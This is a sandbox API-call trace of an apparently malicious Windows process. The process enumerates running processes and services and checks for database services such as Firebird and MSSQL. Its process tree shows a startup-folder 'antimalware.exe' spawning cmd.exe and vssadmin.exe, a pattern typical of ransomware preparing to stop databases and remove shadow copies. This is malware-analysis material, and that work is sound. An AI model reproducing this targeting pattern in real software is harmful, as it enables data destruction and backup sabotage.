	[0151.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0151.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0151.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0151.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0151.077] lstrlenW (lpString="Themes") returned 6
	[0151.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0151.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0151.078] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0151.078] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0151.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0151.078] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0151.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0151.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0151.078] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0151.078] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0151.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4640fc8 | out: hHeap=0x4f0000) returned 1
	[0151.078] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x51c
	[0151.083] Process32FirstW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0151.084] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0151.231] lstrlenW (lpString="System") returned 6
	[0151.231] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0151.232] lstrlenW (lpString="smss.exe") returned 8
	[0151.232] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0151.233] lstrlenW (lpString="csrss.exe") returned 9
	[0151.233] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0151.234] lstrlenW (lpString="wininit.exe") returned 11
	[0151.234] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0151.235] lstrlenW (lpString="csrss.exe") returned 9
	[0151.235] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0151.236] lstrlenW (lpString="winlogon.exe") returned 12
	[0151.236] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0151.237] lstrlenW (lpString="services.exe") returned 12
	[0151.237] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0151.238] lstrlenW (lpString="lsass.exe") returned 9
	[0151.238] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0151.239] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0151.239] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0151.240] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0151.240] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.241] lstrlenW (lpString="svchost.exe") returned 11
	[0151.241] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.242] lstrlenW (lpString="svchost.exe") returned 11
	[0151.242] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0151.243] lstrlenW (lpString="dwm.exe") returned 7
	[0151.243] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.244] lstrlenW (lpString="svchost.exe") returned 11
	[0151.244] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.245] lstrlenW (lpString="svchost.exe") returned 11
	[0151.245] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.246] lstrlenW (lpString="svchost.exe") returned 11
	[0151.246] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.247] lstrlenW (lpString="svchost.exe") returned 11
	[0151.247] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.248] lstrlenW (lpString="svchost.exe") returned 11
	[0151.248] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.249] lstrlenW (lpString="svchost.exe") returned 11
	[0151.249] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.250] lstrlenW (lpString="svchost.exe") returned 11
	[0151.250] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.251] lstrlenW (lpString="svchost.exe") returned 11
	[0151.251] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.252] lstrlenW (lpString="svchost.exe") returned 11
	[0151.252] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.253] lstrlenW (lpString="svchost.exe") returned 11
	[0151.253] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0151.254] lstrlenW (lpString="spoolsv.exe") returned 11
	[0151.254] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.255] lstrlenW (lpString="svchost.exe") returned 11
	[0151.255] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0151.255] lstrlenW (lpString="audiodg.exe") returned 11
	[0151.256] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0151.257] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0151.257] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0151.258] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0151.258] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0151.259] lstrlenW (lpString="sihost.exe") returned 10
	[0151.259] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0151.260] lstrlenW (lpString="Memory Compression") returned 18
	[0151.260] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.261] lstrlenW (lpString="svchost.exe") returned 11
	[0151.261] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0151.262] lstrlenW (lpString="taskhostw.exe") returned 13
	[0151.262] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0151.263] lstrlenW (lpString="msoia.exe") returned 9
	[0151.263] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0151.264] lstrlenW (lpString="taskhostw.exe") returned 13
	[0151.264] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0151.264] lstrlenW (lpString="explorer.exe") returned 12
	[0151.265] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0151.265] lstrlenW (lpString="SearchUI.exe") returned 12
	[0151.265] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0151.266] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0151.266] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0151.267] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0151.267] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0151.268] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0151.268] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0151.269] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0151.269] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0151.270] lstrlenW (lpString="cmd.exe") returned 7
	[0151.270] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0151.271] lstrlenW (lpString="conhost.exe") returned 11
	[0151.271] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0151.321] lstrlenW (lpString="consent.exe") returned 11
	[0151.322] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0151.323] lstrlenW (lpString="vssadmin.exe") returned 12
	[0151.323] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0151.324] CloseHandle (hObject=0x51c) returned 1
	[0151.324] Sleep (dwMilliseconds=0x1f4) 
	[0151.923] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45aff58
	[0151.924] EnumServicesStatusExW (in: hSCManager=0x45aff58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0151.924] GetLastError () returned 0xea
	[0151.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x4640fc8
	[0151.925] EnumServicesStatusExW (in: hSCManager=0x45aff58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4640fc8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4640fc8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0151.926] CloseServiceHandle (hSCObject=0x45aff58) returned 1
	[0151.926] lstrlenW (lpString="Appinfo") returned 7
	[0151.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0151.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0151.926] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0151.926] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0151.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0151.926] lstrlenW (lpString="AppXSvc") returned 7
	[0151.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0151.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0151.926] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0151.927] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0151.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0151.927] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0151.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0151.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0151.927] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0151.927] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0151.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0151.927] lstrlenW (lpString="Audiosrv") returned 8
	[0151.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0151.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0151.927] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0151.927] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0151.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0151.927] lstrlenW (lpString="BFE") returned 3
	[0151.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0151.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0151.927] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0151.927] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0151.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0151.927] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0151.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0151.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0151.928] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0151.928] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0151.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0151.928] lstrlenW (lpString="CDPSvc") returned 6
	[0151.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0151.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0151.928] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0151.928] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0151.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0151.928] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0151.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0151.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0151.928] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0151.928] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0151.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0151.928] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0151.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0151.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0151.928] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0151.928] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0151.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0151.928] lstrlenW (lpString="CryptSvc") returned 8
	[0151.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0151.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0151.929] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0151.929] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0151.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0151.929] lstrlenW (lpString="DcomLaunch") returned 10
	[0151.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0151.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0151.929] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0151.929] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0151.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0151.929] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0151.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0151.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0151.929] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0151.929] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0151.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0151.929] lstrlenW (lpString="Dhcp") returned 4
	[0151.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0151.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0151.929] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0151.929] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0151.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0151.929] lstrlenW (lpString="Dnscache") returned 8
